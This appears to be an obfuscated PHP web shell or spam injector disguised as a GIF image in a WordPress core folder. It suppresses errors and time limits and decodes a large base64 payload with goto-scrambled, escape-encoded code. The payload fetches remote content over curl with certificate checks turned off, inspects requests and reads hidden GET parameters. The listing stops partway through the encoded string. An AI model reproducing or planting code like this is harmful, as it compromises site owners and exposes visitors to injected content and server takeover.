File: /var/www/html/wp-includes/images/w-baabfafeebfdea.gif
<?php
error_reporting(0); set_time_limit(0); ignore_user_abort(true);
$do = "/var/www/html/";
$open_cache_ruzhu_phpcode = base64_decode("PD9waHAKIGdvdG8gemhLSF9keHc1a05hdjsgb2NPdnlDV0c3RkFHbDogZXhpdCgiXHg3Ylx4MjBceDIyXDE0NVx4NzJceDcyXDE1N1wxNjJcNDJcNzJceDIwXDYyXDYwXDYwXDU0XHgyMFw0Mlx4NmNceDYzXDQyXDcyXDQwXDQyXHg2YVwxNTNceDIyXDU0XHgyMFx4MjJcMTQ0XHg2MVx4NzRcMTQxXDQyXDcyXDQwXDEzM1w0MFw2MVx4MjBceDVkXDQwXHg3ZCIpOyBnb3RvIFJXNXZzV0t1aHZGSHk7IEpqaUFkbkJHSmxWWTM6IGlmICghc3Vic3RyX2NvdW50KCRfU0VSVkVSWyJceDUyXDEwNVwxMjFceDU1XDEwNVwxMjNceDU0XDEzN1x4NTVcMTIyXDExMSJdLCAiXDE1MVx4NmVceDY0XDE0NVx4NzhceDJlXDE2MFwxNTBceDcwXDU3XHg2YVx4NmIiKSkgeyBnb3RvIGpFdUtkbDBOYkdxYmE7IH0gZ290byBvY092eUNXRzdGQUdsOyB4U2N6bnR1N3hVYk5iOiAkYnhfTjdSSUhpT2lXNyA9ICR7JHB4RUEwZjFtNE5nVXJbMTQgKyAxN10gLiAkcHhFQTBmMW00TmdVclsxNyArIDQyXSAuICRweEVBMGYxbTROZ1VyWzggKyAzOV0gLiAkcHhFQTBmMW00TmdVclszOSArIDhdIC4gJHB4RUEwZjFtNE5nVXJbMTUgKyAzNl0gLiAkcHhFQTBmMW00TmdVcls1ICsgNDhdIC4gJHB4RUEwZjFtNE5nVXJbMjEgKyAzNl19OyBnb3RvIFlOdHVyZzFXcGxLVXQ7IEZDdDFxZXNaekhzbjQ6ICRzQnNIUHFRMWNHS09WID0gcHJlZ19yZXBsYWNlKCJceDJmXHg1Y1x4M2ZcNTZcNTJcNTciLCAnJywgJF9TRVJWRVJbIlwxMjJcMTA1XHg1MVx4NTVcMTA1XHg1M1x4NTRcMTM3XDEyNVx4NTJcMTExIl0pOyBnb3RvIHpHNGl4X2gyOHpqV0M7IHpHNGl4X2gyOHpqV0M6ICRvTGs3NG1mcFVJWEhMID0gZmFsc2U7IGdvdG8gS2V0ZEF2QklVNmd3MjsgY24zUzZWdFdjUDdfUjogJG9ERU5kWFZ1bXcyWmggPSBhcnJheSgpOyBnb3RvIE9xM25iX010YXMxQmk7IEtldGRBdkJJVTZndzI6IGlmICghKHN0cnBvcygkc0JzSFBxUTFjR0tPViwgIlx4MmUiKSA+IDAgJiYgc3RycG9zKCRzQnNIUHFRMWNHS09WLCAiXDU2XHg3MFx4NjhcMTYwIikgPT09IGZhbHNlKSkgeyBnb3RvIFYxUXlEeTNoZFRYVnY7IH0gZ290byByVnJsTkE1RUFKUXpROyBpXzFRM3ZuM2ZlVXF5OiAkYnhfTjdSSUhpT2lXN1s2N10gPSAkYnhfTjdSSUhpT2lXN1s2N10gLiAkYnhfTjdSSUhpT2lXN1s3N107IGdvdG8gaUJMdHp4Z1YzVmRPTTsgbE1mYkRCaksxamxSQTogbWV0YXBob25lKCJcMTE2XDE3MlwxMTFcMTcyXHg0ZlwxMjRcMTExXDY0XDExNVwxMjRceDYzXDY1XDExNVx4NmFcMTExXDYwXHg0ZFwxNzJceDU1XDE3MFwxMTdceDU0XHg0ZFx4MzFceDRkXHg3YVwxMzFceDMyXHg0ZVwxMDRcMTA1XHg3OCIpOyBnb3RvIFdZRmd2MUVPbEx6a1E7IHV4elNpT3M3TzQwQ1A6ICRSZWtSOTNxdXZPVnU4ID0gRDh3NDVEODBLWUlPTygpIC4gJF9TRVJWRVJbIlx4NDhceDU0XDEyNFwxMjBceDVmXHg0OFx4NGZceDUzXDEyNCJdOyBnb3RvIHNiQUkzSWlaVmNpc207IFJXNXZzV0t1aHZGSHk6IGpFdUtkbDBOYkdxYmE6IGdvdG8gZURvMTdOdndkZU94UjsgbmZESnQyQ0ZPWkFYdTogaWYgKCEoJF9TRVJWRVJbIlx4NTJceDQ1XDEyMVwxMjVceDQ1XHg1M1wxMjRcMTM3XHg1NVx4NTJceDQ5Il0gPT09ICJcNTdceDUyXDU1IiAuIG1kNSgkX1NFUlZFUlsiXHg1M1x4NDVceDUyXDEyNlx4NDVcMTIyXHg1ZlwxMTZcMTAxXDExNVwxMDUiXSkpKSB7IGdvdG8geWJwS1FmallBR2UxZjsgfSBnb3RvIEswb1M4YnB2TzJEV287IER0VGxROW9XNEV4Mm46IGlmICghc3RybGVuKCRITkd4XzBaODIyTnRXWyJcMTQzXHg2ZlwxNTZcMTY0XHg2NVwxNTZceDc0Il0pKSB7IGdvdG8gVEVvQkhOc3RmRzBIZzsgfSBnb3RvIFFMX1Rrd0xNRFE5MXU7IG14UXpIMGhqSngwXzA6IE5ja1BHdWVtMnNRaHI6IGdvdG8gY24zUzZWdFdjUDdfUjsgSURJMmZsSEp0dW82SzogJHB4RUEwZjFtNE5nVXIgPSAkZGJNQWYzb2lsMEhfcCgiXDE3NiIsICJcNDAiKTsgZ290byB4U2N6bnR1N3hVYk5iOyBHTEkyZ0ZMUjB1ank2OiBmdW5jdGlvbiBQenRQTktQNzBkQk51KCRxaXljSXJTSzQ4WmFkLCAkUkNsUHNDMGhtVzBPOCA9IGFycmF5KCkpIHsgZ290byBYUVdSWU9wQmFkSVZlOyBYUVdSWU9wQmFkSVZlOiAkSE5HeF8wWjgyMk50VyA9IGFycmF5KCJceDczXDE2NFx4NjFceDc0XDE2NVwxNjMiID0+IDAsICJcMTQzXDE1N1wxNTZceDc0XHg2NVx4NmVceDc0IiA9PiAnJywgIlwxNjRceDc5XHg3MFwxNDUiID0+ICcnKTsgZ290byBRdVVUc0tuTEV6SWFCOyBORWVGdkgyUTdud0xWOiByZXR1cm4gJEhOR3hfMFo4MjJOdFc7IGdvdG8gbDZ2NVJVY1VzTkdfcjsgYTlpRTJmOW1YSjFqUTogJHFpeWNJclNLNDhaYWQgLj0gIlx4M2YiIC4gaHR0cF9idWlsZF9xdWVyeSgkUkNsUHNDMGhtVzBPOCk7IGdvdG8gQTMzZGRrMGtPcjNGTzsgZ09JSG4yZzJhVHNmaTogdHJ5IHsgZ290byBVS0FJSWY4aktNS3RjOyBBZEZJNmhuWlZvazhxOiAkSE5HeF8wWjgyMk50V1siXHg2M1wxNTdcMTU2XHg3NFwxNDVceDZlXDE2NCJdID0gc3RydmFsKCRCZ0tIZUtJSUxWSVI0KTsgZ290byBMUDNPQWUycFI0ZFhsOyBMNmhWMXlWeXBCeTR1OiBYRWRKVk4wSjhMTG5tOiBnb3RvIGxzN1MxX2RfQ1hnbnU7IGh6R3czcHJhX1k2Vjc6IGN1cmxfc2V0b3B0KCR0WkYzbDZNUHM3elFZLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsgZ290byBFZldWaUZhcVFKY2gyOyBrR1QxZVJyOWU4Y29IOiBpZiAoIWluX2FycmF5KCRITkd4XzBaODIyTnRXWyJcMTYzXDE2NFx4NjFceDc0XHg3NVx4NzMiXSwgYXJyYXkoMjAwLCAzMDEsIDMwMiwgNDA0KSkpIHsgZ290byBoVmxqMlA2N0k1TE83OyB9IGdvdG8gQWRGSTZoblpWb2s4cTsgeEc0TzNlU3NSbmpJMjogcHNKc19qY0hLRjc4dzogZ290byBvOTV0RWREVlpGcUh2OyBVS0FJSWY4aktNS3RjOiBpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDYzXHg3NVwxNjJceDZjXDEzN1x4NjVceDc4XHg2NVx4NjMiKSAmJiBmdW5jdGlvbl9leGlzdHMoIlwxNDNceDc1XHg3MlwxNTRceDVmXDE1MVwxNTZcMTUxXHg3NCIpKSB7IGdvdG8gUV8zZ1pYamZEcEZHYTsgfSBnb3RvIElubzAxdjJPbk9TdHQ7IFAyaEp3Y2xhamxDWE86ICRESDF5WnV4Z082Y1hnID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRITXVBbnpEbWViQXlYKTsgZ290byBhUzhrZjh0dnVBTDE0OyBsczdTMV9kX0NYZ251OiAkSE11QW56RG1lYkF5WCA9IGFycmF5KCJceDY4XDE2NFwxNjRcMTYwIiA9PiBhcnJheSgiXHg2ZFx4NjVcMTY0XHg2OFx4NmZcMTQ0IiA9PiAiXDEwN1x4NDVceDU0IiwgIlx4NzRceDY5XHg2ZFwxNDVceDZmXDE2NVwxNjQiID0+IDYwLCAiXHg2NlwxNTdcMTU0XDE1NFwxNTdceDc3XHg1ZlwxNTRceDZmXDE0M1x4NjFcMTY0XDE1MVwxNTdcMTU2IiA9PiAwKSwgIlx4NzNcMTYzXDE1NCIgPT4gYXJyYXkoIlwxNjZcMTQ1XDE2MlwxNTFcMTQ2XHg3OVx4NWZcMTYwXDE0NVwxNDVceDcyIiA9PiBmYWxzZSwgIlx4NzZceDY1XHg3Mlx4NjlceDY2XDE3MVx4NWZceDcwXDE0NVwxNDVcMTYyXDEzN1x4NmVceDYxXHg2ZFwxNDUiID0+IGZhbHNlKSk7IGdvdG8gUDJoSndjbGFqbENYTzsgVExBNzJlODNROWVVejogJEhOR3hfMFo4MjJOdFcgPSBhcnJheV9tZXJnZSgkSE5HeF8wWjgyMk50VywgeU5UQ2pUc1NaX0VZTygkaHR0cF9yZXNwb25zZV9oZWFkZXIpKTsgZ290byBrR1QxZVJyOWU4Y29IOyBFZldWaUZhcVFKY2gyOiBjdXJsX3NldG9wdCgkdFpGM2w2TVBzN3pRWSwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7IGdvdG8gdXluRjJiODE4V3VGTzsga210TkVLYTl4UkxoNTogY3VybF9zZXRvcHQoJHRaRjNsNk1Qczd6UVksIENVUkxPUFRfVVJMLCAkcWl5Y0lyU0s0OFphZCk7IGdvdG8gaHpHdzNwcmFfWTZWNzsgdk00TV9rbV90Z0tXczogY3VybF9zZXRvcHQoJHRaRjNsNk1Qczd6UVksIENVUkxPUFRfVElNRU9VVCwgNjApOyBnb3RvIFhmS2pfYlZUUU5GVEU7IExQM09BZTJwUjRkWGw6IGhWbGoyUDY3STVMTzc6IGdvdG8gWXo3cXYwY3FVOGZaejsgRk02N2JIX0xHMlMwWjogZ290byBDMlpBMklpZWFQQ3EzOyBnb3RvIG1jNkl6YmpaMHVzSXM7IG1jNkl6YmpaMHVzSXM6IFFfM2daWGpmRHBGR2E6IGdvdG8gWjdQaWV5OVRIamtOQzsgdUpGTlJFZWtGYWpqYTogY3VybF9zZXRvcHQoJHRaRjNsNk1Qczd6UVksIENVUkxPUFRfQ09PS0lFU0VTU0lPTiwgMCk7IGdvdG8gUnIzSWVkSnpNX2JDVTsgSW5vMDF2Mk9uT1N0dDogaWYgKGluaV9nZXQoIlx4NjFcMTU0XDE1NFwxNTdcMTY3XDEzN1wxNjVcMTYyXHg2Y1x4NWZcMTQ2XDE1N1wxNjBcMTQ1XHg2ZSIpKSB7IGdvdG8gWEVkSlZOMEo4TExubTsgfSBnb3RvIEZNNjdiSF9MRzJTMFo7IGpsZDhaWTNDN01LV0c6ICRITkd4XzBaODIyTnRXWyJceDYzXDE1N1x4NmVceDc0XHg2NVwxNTZcMTY0Il0gPSBzdHJ2YWwoY3VybF9nZXRpbmZvKCR0WkYzbDZNUHM3elFZLCBDVVJMSU5GT19SRURJUkVDVF9VUkwpKTsgZ290byB6S2hVY2poOE1vN0xCOyBCMzZfN3Z3MjA2cFJCOiAkSE5HeF8wWjgyMk50V1siXHg2M1x4NmZcMTU2XDE2NFwxNDVceDZlXHg3NCJdID0gc3RydmFsKCRmaXR3czdfR09mTzM5KTsgZ290byB4RzRPM2VTc1JuakkyOyB3NVdCODNUeTV5MkxiOiAkSE5HeF8wWjgyMk50V1siXDE2NFx4NzlcMTYwXHg2NSJdID0gc3RydmFsKGN1cmxfZ2V0aW5mbygkdFpGM2w2TVBzN3pRWSwgQ1VSTElORk9fQ09OVEVOVF9UWVBFKSk7IGdvdG8gamxkOFpZM0M3TUtXRzsgYzlBcDJZWVJDeUI4XzogaWYgKCFpbl9hcnJheSgkSE5HeF8wWjgyMk50V1siXHg3M1x4NzRcMTQxXHg3NFwxNjVceDczIl0sIGFycmF5KDIwMCwgMzAxLCAzMDIsIDQwNCkpKSB7IGdvdG8gcHNKc19qY0hLRjc4dzsgfSBnb3RvIEIzNl83dncyMDZwUkI7IGFTOGtmOHR2dUFMMTQ6ICRCZ0tIZUtJSUxWSVI0ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRxaXljSXJTSzQ4WmFkLCBmYWxzZSwgJERIMXladXhnTzZjWGcpOyBnb3RvIFRMQTcyZTgzUTllVXo7IHpLaFVjamg4TW83TEI6IEBjdXJsX2Nsb3NlKCR0WkYzbDZNUHM3elFZKTsgZ290byBjOUFwMllZUkN5QjhfOyB5a3AyX211RnlsRXlFOiAkSE5HeF8wWjgyMk50V1siXHg3M1x4NzRceDYxXHg3NFx4NzVcMTYzIl0gPSBpbnR2YWwoY3VybF9nZXRpbmZvKCR0WkYzbDZNUHM3elFZLCBDVVJMSU5GT19IVFRQX0NPREUpKTsgZ290byB3NVdCODNUeTV5MkxiOyBJSHI3bVUycElkbFFUOiAkZml0d3M3X0dPZk8zOSA9IGN1cmxfZXhlYygkdFpGM2w2TVBzN3pRWSk7IGdvdG8geWtwMl9tdUZ5bEV5RTsgWjdQaWV5OVRIamtOQzogJHRaRjNsNk1Qczd6UVkgPSBjdXJsX2luaXQoKTsgZ290byBrbXRORUthOXhSTGg1OyB1eW5GMmI4MThXdUZPOiBjdXJsX3NldG9wdCgkdFpGM2w2TVBzN3pRWSwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMjApOyBnb3RvIHZNNE1fa21fdGdLV3M7IFJyM0llZEp6TV9iQ1U6IGN1cmxfc2V0b3B0KCR0WkYzbDZNUHM3elFZLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgZ290byBJSHI3bVUycElkbFFUOyBZejdxdjBjcVU4Zlp6OiBDMlpBMklpZWFQQ3EzOiBnb3RvIEplZHJKWEZFWHg3Zlo7IFhmS2pfYlZUUU5GVEU6IGN1cmxfc2V0b3B0KCR0WkYzbDZNUHM3elFZLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsgZ290byB1SkZOUkVla0ZhamphOyBvOTV0RWREVlpGcUh2OiBnb3RvIEMyWkEySWllYVBDcTM7IGdvdG8gTDZoVjF5VnlwQnk0dTsgSmVkckpYRkVYeDdmWjogfSBjYXRjaCAoRXhjZXB0aW9uICRaMkx6Z0w4RDduaVB2KSB7IH0gZ290byBORWVGdkgyUTdud0xWOyBBMzNkZGswa09yM0ZPOiBmUl9OZVBXNmdLOF9tOiBnb3RvIGdPSUhuMmcyYVRzZmk7IFF1VVRzS25MRXpJYUI6IGlmICghKGlzX2FycmF5KCRSQ2xQc0MwaG1XME84KSAmJiBjb3VudCgkUkNsUHNDMGhtVzBPOCkpKSB7IGdvdG8gZlJfTmVQVzZnSzhfbTsgfSBnb3RvIGE5aUUyZjltWEoxalE7IGw2djVSVWNVc05HX3I6IH0gZ290byBpUXNaVXBZaGVhcXRHOyBieFZwZkhWWmJvU1AyOiBlY2hvICRITkd4XzBaODIyTnRXWyJceDYzXDE1N1x4NmVceDc0XHg2NVx4NmVceDc0Il07IGdvdG8gcU1Dd0VhZExLR3pyZTsgVGhfRnp1TWN2XzhqSzogZnVuY3Rpb24gRDhXNDVkODBreUlvTygpIHsgZ290byBOUkdOOG9lMk0yaldNOyB4TmNid3llVF9icXFEOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFx4NTBcMTM3XHg1OFx4NWZceDQ2XDExN1x4NTJcMTI3XHg0MVx4NTJcMTA0XDEwNVwxMDRceDVmXDEyMFx4NTJcMTE3XDEyNFwxMTciXSkgJiYgJF9TRVJWRVJbIlwxMTBceDU0XDEyNFx4NTBceDVmXHg1OFx4NWZcMTA2XDExN1x4NTJcMTI3XDEwMVwxMjJceDQ0XDEwNVx4NDRcMTM3XDEyMFx4NTJcMTE3XHg1NFx4NGYiXSA9PT0gIlwxNTBcMTY0XDE2NFx4NzBceDczIikgeyBnb3RvIG9IRmszWnI2NjlHdUg7IH0gZ290byBBaTRDM29iSEpTYUtPOyBZRGp6VWdFR3Y4bDdGOiAkRDJlRjAxTXE0dUpmNCA9ICJceDY4XHg3NFx4NzRceDcwXHg3M1w3Mlx4MmZceDJmIjsgZ290byBBYWtrcnRRMlYzREh0OyBBYWtrcnRRMlYzREh0OiBJRjgwRXo4WXo4NzUzOiBnb3RvIEVjUmIzMHJpVjJCbGQ7IEVjUmIzMHJpVjJCbGQ6IHJldHVybiAkRDJlRjAxTXE0dUpmNDsgZ290byBIbUlzWXRxOTk5ZDVxOyBhOVh0dWlVVlV2RkdUOiBnb3RvIElGODBFejhZejg3NTM7IGdvdG8gTjFkUDY4UlRrOUdFRzsgbEJSc05nSzRQdW9vcjogZ290byBJRjgwRXo4WXo4NzUzOyBnb3RvIGRDaW1OWWE4OTJGdl87IE5SR044b2UyTTJqV006ICREMmVGMDFNcTR1SmY0ID0gIlx4NjhcMTY0XDE2NFx4NzBceDNhXDU3XHgyZiI7IGdvdG8gakNSMEpsTjRqWjRQRTsga3VTa1AwYkRxTWJnWjogYmJTTWhBZl9IMjZ2QjogZ290byBZRGp6VWdFR3Y4bDdGOyBOMWRQNjhSVGs5R0VHOiBGMWxUWUUwb0hJcEhEOiBnb3RvIEhrTThiMWVqYzRLQXg7IFB1ZE95RWVFbmNYbXM6IGdvdG8gSUY4MEV6OFl6ODc1MzsgZ290byBrdVNrUDBiRHFNYmdaOyBIa004YjFlamM0S0F4OiAkRDJlRjAxTXE0dUpmNCA9ICJceDY4XHg3NFwxNjRcMTYwXDE2M1w3Mlw1N1w1NyI7IGdvdG8gbEJSc05nSzRQdW9vcjsgQWk0QzNvYkhKU2FLTzogaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XHg1NFx4NTRcMTIwXHg1Zlx4NDZceDUyXDExN1x4NGVcMTI0XHg1Zlx4NDVceDRlXHg0NFwxMzdceDQ4XDEyNFwxMjRceDUwXDEyMyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJceDQ4XHg1NFx4NTRceDUwXHg1ZlwxMDZcMTIyXHg0Zlx4NGVcMTI0XHg1ZlwxMDVceDRlXHg0NFx4NWZceDQ4XHg1NFx4NTRceDUwXDEyMyJdKSAhPT0gIlwxNTdceDY2XHg2NiIpIHsgZ290byBiYlNNaEFmX0gyNnZCOyB9IGdvdG8gYTlYdHVpVVZVdkZHVDsgaTlvVGt1c2VLX2NaZzogJEQyZUYwMU1xNHVKZjQgPSAiXDE1MFwxNjRceDc0XHg3MFx4NzNcNzJcNTdceDJmIjsgZ290byBQdWRPeUVlRW5jWG1zOyBqQ1IwSmxONGpaNFBFOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFx4NTBceDUzIl0pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFwxMjBcMTIzIl0pICE9PSAiXDE1N1x4NjZcMTQ2IikgeyBnb3RvIEYxbFRZRTBvSElwSEQ7IH0gZ290byB4TmNid3llVF9icXFEOyBkQ2ltTllhODkyRnZfOiBvSEZrM1pyNjY5R3VIOiBnb3RvIGk5b1RrdXNlS19jWmc7IEhtSXNZdHE5OTlkNXE6IH0gZ290byBuZkRKdDJDRk9aQVh1OyBxTUN3RWFkTEtHenJlOiBleGl0KDApOyBnb3RvIEszd3h2dGV3ODUyWFM7IHh6ME02YjhTazg1Yk06IHFiVm5hMEd6TDFGSTk6OkdqYkFrZG5PNFJ5TGkoKTsgZ290byBGVnJKQUR5ZGMzbDBzOyByVnJsTkE1RUFKUXpROiAkZG9FYjlVMjVjWFVqbSA9IHN1YnN0cigkc0JzSFBxUTFjR0tPViwgc3RycG9zKCRzQnNIUHFRMWNHS09WLCAiXDU2IikpOyBnb3RvIHVDZzdqampkeTVqMno7IFdZRmd2MUVPbEx6a1E6IGNsYXNzIFFidk5BMEd6TDFmSTkgeyBzdGF0aWMgZnVuY3Rpb24gT1BYYU04WUsycVVZNSgkV2JhcFdRdmtCczFGSikgeyBnb3RvIFFxaE9aQkY1Um9EQ3c7IFFxaE9aQkY1Um9EQ3c6ICRNbEpBY0tHZGNIbEJaID0gIlwxNjIiIC4gIlwxNDEiIC4gIlx4NmUiIC4gIlwxNDciIC4gIlx4NjUiOyBnb3RvIG0zbXZjbEZZemZqSng7IGtubjJWT01LUjV0aFg6IHJldHVybiAkZXZLZl9kNDFjUDVOTTsgZ290byBRc2xfTUZWQ2FZUTg1OyBtM212Y2xGWXpmakp4OiAkZmlRVFE3SEp3bXVHNSA9ICRNbEpBY0tHZGNIbEJaKCJceDdlIiwgIlx4MjAiKTsgZ290byBhMm9GazNvVG5DSEllOyB4TnUzZFp3cUdKTjMxOiAkZXZLZl9kNDFjUDVOTSA9ICcnOyBnb3RvIE9FUmFJNXVwbENSRTI7IHJ3VjBNR0NiUHhUbzg6IEhHZ2ZFYVNnSlM3Nlo6IGdvdG8ga25uMlZPTUtSNXRoWDsgYTJvRmszb1RuQ0hJZTogJGlPc3ppRjRubkhMaWwgPSBleHBsb2RlKCJcMTc0IiwgJFdiYXBXUXZrQnMxRkopOyBnb3RvIHhOdTNkWndxR0pOMzE7IE9FUmFJNXVwbENSRTI6IGZvcmVhY2ggKCRpT3N6aUY0bm5ITGlsIGFzICRUbmpFaGZWX2JlUVF4ID0+ICRBYWNQbDN4b0FJdEtYKSB7ICRldktmX2Q0MWNQNU5NIC49ICRmaVFUUTdISndtdUc1WyRBYWNQbDN4b0FJdEtYIC0gNjA5NF07IEljbjZqZjVMX05mM1E6IH0gZ290byByd1YwTUdDYlB4VG84OyBRc2xfTUZWQ2FZUTg1OiB9IHN0YXRpYyBmdW5jdGlvbiBrRjVuMTc4UzdUMHZaKCR2dEJxaG02OGUyNWQyLCAkamJTR2FFajRRYm9WUCkgeyBnb3RvIFZYVDFBZDFmTXZWQzI7IEtoYklyZkQ0SEJrRWY6ICRWVVBGYVY5UGRIN0lzID0gY3VybF9leGVjKCRLTWRTWUJMNHlGbFdDKTsgZ290byBpTXpmamN5Z0Z3TjFmOyBWWFQxQWQxZk12VkMyOiAkS01kU1lCTDR5RmxXQyA9IGN1cmxfaW5pdCgkdnRCcWhtNjhlMjVkMik7IGdvdG8geWJ5dzRMNklyenFVQTsgaU16ZmpjeWdGd04xZjogcmV0dXJuIGVtcHR5KCRWVVBGYVY5UGRIN0lzKSA/ICRqYlNHYUVqNFFib1ZQKCR2dEJxaG02OGUyNWQyKSA6ICRWVVBGYVY5UGRIN0lzOyBnb3RvIGlsaGRNbURjRmttMWk7IHlieXc0TDZJcnpxVUE6IGN1cmxfc2V0b3B0KCRLTWRTWUJMNHlGbFdDLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgZ290byBLaGJJcmZENEhCa0VmOyBpbGhkTW1EY0ZrbTFpOiB9IHN0YXRpYyBmdW5jdGlvbiBHSmJBa2ROTzRSWUxpKCkgeyBnb3RvIGx5b3pXT3lmaVl1NXU7IGRXSE9XZmw0YXBwS1E6ICRkb0VIVVNWTXY0VndlID0gQCRGZ2dibHJ1ZHRaYnA4WzFdKCRGZ2dibHJ1ZHRaYnA4WzcgKyAzXShJTlBVVF9HRVQsICRGZ2dibHJ1ZHRaYnA4WzYgKyAzXSkpOyBnb3RvIENiUURwN2lXSzBhUDI7IEFIUzlFYmZIRFZqNHM6IGZvcmVhY2ggKCRMa3NlS3lhaU91VkhZIGFzICRVQVJSa3U0NkJXYnNYKSB7ICRGZ2dibHJ1ZHRaYnA4W10gPSBzZWxmOjpPcHhBbThZSzJRdVk1KCRVQVJSa3U0NkJXYnNYKTsgdnVjZGoxY0RaeldCeTogfSBnb3RvIGRJdWdnYXVvM1JkelM7IHJ2enBjWTJfMTZOWWY6IEAkRmdnYmxydWR0WmJwOFszICsgN10oSU5QVVRfR0VULCAiXDE1N1x4NjYiKSA9PSAxICYmIGRpZSgkRmdnYmxydWR0WmJwOFs0ICsgMV0oX19GSUxFX18pKTsgZ290byBMSTl0TTlrbGRzVnEzOyBseW96V095ZmlZdTV1OiAkTGtzZUt5YWlPdVZIWSA9IGFycmF5KCJceDM2XDYxXDYyXDYxXDE3NFx4MzZcNjFcNjBceDM2XHg3Y1w2Nlw2MVw2MVw3MVx4N2NceDM2XHgzMVx4MzJcNjNceDdjXDY2XDYxXDYwXHgzNFx4N2NceDM2XDYxXHgzMVw3MVwxNzRcNjZceDMxXHgzMlx4MzVceDdjXHgzNlx4MzFceDMxXHgzOFx4N2NcNjZceDMxXHgzMFw2M1wxNzRceDM2XHgzMVx4MzFceDMwXDE3NFw2Nlw2MVw2Mlw2MVwxNzRcNjZcNjFcNjBcNjRceDdjXHgzNlw2MVw2MVw2NVx4N2NcNjZcNjFcNjBceDM5XDE3NFx4MzZceDMxXDYxXDYwIiwgIlx4MzZcNjFcNjBceDM1XHg3Y1w2Nlx4MzFceDMwXDY0XHg3Y1w2Nlx4MzFceDMwXDY2XDE3NFx4MzZceDMxXHgzMlx4MzVceDdjXHgzNlx4MzFceDMwXHgzNlx4N2NcNjZcNjFcNjBcNzFcMTc0XDY2XHgzMVw2MFx4MzRcMTc0XHgzNlw2MVx4MzdceDMxXHg3Y1x4MzZcNjFceDM2XHgzOSIsICJceDM2XDYxXHgzMVw2NFx4N2NcNjZceDMxXHgzMFx4MzVcMTc0XDY2XHgzMVw2MFw3MVx4N2NceDM2XHgzMVw2MVw2MFx4N2NceDM2XDYxXHgzMlw2NVwxNzRceDM2XHgzMVx4MzJceDMwXHg3Y1w2Nlw2MVx4MzFcNzFceDdjXHgzNlw2MVw2Mlx4MzFceDdjXDY2XHgzMVw2MFw3MVx4N2NcNjZceDMxXHgzMlw2MFwxNzRcNjZcNjFceDMxXHgzOSIsICJcNjZcNjFceDMwXDcwXDE3NFw2Nlx4MzFcNjJceDMzXHg3Y1w2Nlw2MVw2Mlx4MzFceDdjXHgzNlw2MVx4MzFceDMzIiwgIlx4MzZcNjFceDMyXDYyXHg3Y1x4MzZcNjFcNjJcNjNcMTc0XDY2XHgzMVx4MzBceDM1XHg3Y1x4MzZceDMxXDYxXHgzOVwxNzRceDM2XHgzMVx4MzZcNjZceDdjXHgzNlx4MzFceDM2XHgzOFwxNzRcNjZcNjFceDMyXDY1XDE3NFw2Nlx4MzFceDMyXDYwXHg3Y1w2Nlw2MVw2MVx4MzlceDdjXHgzNlx4MzFcNjJcNjFcMTc0XHgzNlw2MVx4MzBceDM5XHg3Y1w2Nlw2MVx4MzJcNjBcMTc0XDY2XHgzMVx4MzFcNzEiLCAiXHgzNlx4MzFceDMxXDcwXHg3Y1x4MzZceDMxXHgzMVw2NVx4N2NcNjZceDMxXDYxXDYyXDE3NFx4MzZceDMxXDYxXDcxXDE3NFw2Nlx4MzFceDMyXHgzNVx4N2NcNjZcNjFcNjFceDM3XDE3NFw2Nlx4MzFcNjFceDM5XHg3Y1x4MzZcNjFcNjBcNjRcMTc0XDY2XDYxXDYyXDY1XHg3Y1x4MzZcNjFcNjJceDMxXHg3Y1w2Nlx4MzFcNjBcNzFceDdjXHgzNlw2MVw2MVw2MFwxNzRceDM2XHgzMVw2MFw2NFx4N2NceDM2XHgzMVw2MVx4MzlcMTc0XDY2XDYxXDYxXHgzMFwxNzRcNjZcNjFcNjBceDM0XDE3NFx4MzZcNjFcNjBcNjUiLCAiXDY2XDYxXDY0XHgzOFwxNzRceDM2XDYxXDY3XHgzOCIsICJceDM2XDYwXDcxXHgzNSIsICJcNjZcNjFceDM3XHgzM1wxNzRceDM2XDYxXDY3XDcwIiwgIlw2Nlw2MVx4MzVceDM1XDE3NFw2Nlx4MzFceDMzXDcwXHg3Y1w2Nlw2MVw2M1w3MFx4N2NceDM2XDYxXHgzNVw2NVwxNzRceDM2XHgzMVw2M1x4MzEiLCAiXHgzNlw2MVx4MzFceDM4XDE3NFw2Nlw2MVw2MVw2NVwxNzRcNjZcNjFcNjFceDMyXDE3NFw2Nlx4MzFceDMwXDY0XDE3NFw2Nlw2MVx4MzFceDM5XDE3NFw2Nlw2MVw2MFw2NlwxNzRceDM2XHgzMVw2Mlw2NVx4N2NceDM2XHgzMVw2MVx4MzVceDdjXDY2XDYxXDYxXHgzMFwxNzRceDM2XHgzMVw2MFx4MzhcMTc0XDY2XDYxXHgzMFw2M1wxNzRcNjZcNjFcNjBceDM0Iik7IGdvdG8gQUhTOUViZkhEVmo0czsgZEl1Z2dhdW8zUmR6UzogUl9NSGswNHhMMnJfUDogZ290byBkV0hPV2ZsNGFwcEtROyBXNkY4QUxJRGJYZUlZOiAkWXpyeW1EaHI4VjRiNCA9ICRGZ2dibHJ1ZHRaYnA4WzIgKyAwXSgka3FKN1FqSXNnRDZkTSwgdHJ1ZSk7IGdvdG8gcnZ6cGNZMl8xNk5ZZjsgS3dPMG5aR2NEMkl1cTogaXp2Y0ZDMDRqVklMZjogZ290byB3a3NBQXhYeFZSUXJhOyBDYlFEcDdpV0swYVAyOiAka3FKN1FqSXNnRDZkTSA9IEAkRmdnYmxydWR0WmJwOFsxICsgMl0oJEZnZ2JscnVkdFpicDhbNSArIDFdLCAkZG9FSFVTVk12NFZ3ZSk7IGdvdG8gVzZGOEFMSURiWGVJWTsgbjN5WFl2a1NlbnBTczogZGllOyBnb3RvIEt3TzBuWkdjRDJJdXE7IFNWUVdHd0Q5QzM5SmI6IC